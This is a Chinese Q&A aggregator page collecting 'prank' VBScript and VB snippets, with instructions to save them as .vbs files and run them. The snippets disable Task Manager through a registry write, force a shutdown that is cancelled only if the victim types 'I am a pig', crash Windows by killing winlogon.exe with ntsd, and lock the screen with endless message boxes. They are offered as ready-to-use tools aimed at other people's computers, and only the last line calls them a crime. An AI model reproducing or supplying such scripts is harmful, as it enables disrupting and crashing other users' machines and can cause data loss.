锐客网

  1. 首页 > 睿知 > >

简单的恶搞编程代码文本文档，求各种搞笑vb代码

经验分享睿知

1，求各种搞笑vb代码Do While MsgBox("我是傻瓜吗？", vbYesNo) <> vbYesLoop你可以去弄些可以让别人选择回答得笑话，然后放到程序里让你别人选择，显示 。。
2 ， 收集 VB搞笑程序 代码你可以去弄些可以让别人选择回答得笑话，然后放到程序里让你别人选择 ， 显示 。。do while msgbox("我是傻瓜吗？", vbyesno) <> vbyesloop想当黑客，第一个黑客程序就是搞笑程序！
3，谁能给我个原创的vbs恶作剧代码这个是禁用任务管理器，放在你的恶作剧之前即可，把1改为0，即可改回来 Const hkcu=&h80000001 Set wmi=GetObject("winmgmts:\\.\root\default:stdregprov") wmi.setdwordvalue hkcu,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableTaskMgr",1【简单的恶搞编程代码文本文档，求各种搞笑vb代码】
4，卒恶搞的代码把以下代码复制到记事本中 ， 然后把扩展名改为.vbs运行即可 。On Error Resume Next Dim WSHshellA Set WSHshellA = wscript.CreateObject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True Dim a Do While (a <> "我是猪") a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000) MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox" Loop MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了" WSHshella.run "cmd.exe /c shutdown -a"5，求一些VB恶搞代码效果越厉害越好例如蓝屏等等蓝屏：msgbox "我想要你蓝屏，哈哈..."Set ws = CreateObject("Wscript.Shell")wscript.sleep1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideset ob=wscript.createobject("wscript.shell")无限循环：domsgbox""loop强制关机：on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机 ， 不信，试试···"" ",0 ,truedim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒 ， 说 ""我是猪""　","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"这不是恶搞了这个是犯罪

    推荐阅读


    上一篇：最新游戏发布平台，给几个大型网络游戏公布网站

    下一篇：苹果 游戏没有声音，iphone 5c 在APP上面安装我爱猜歌游戏软件没有声音是怎么回事呀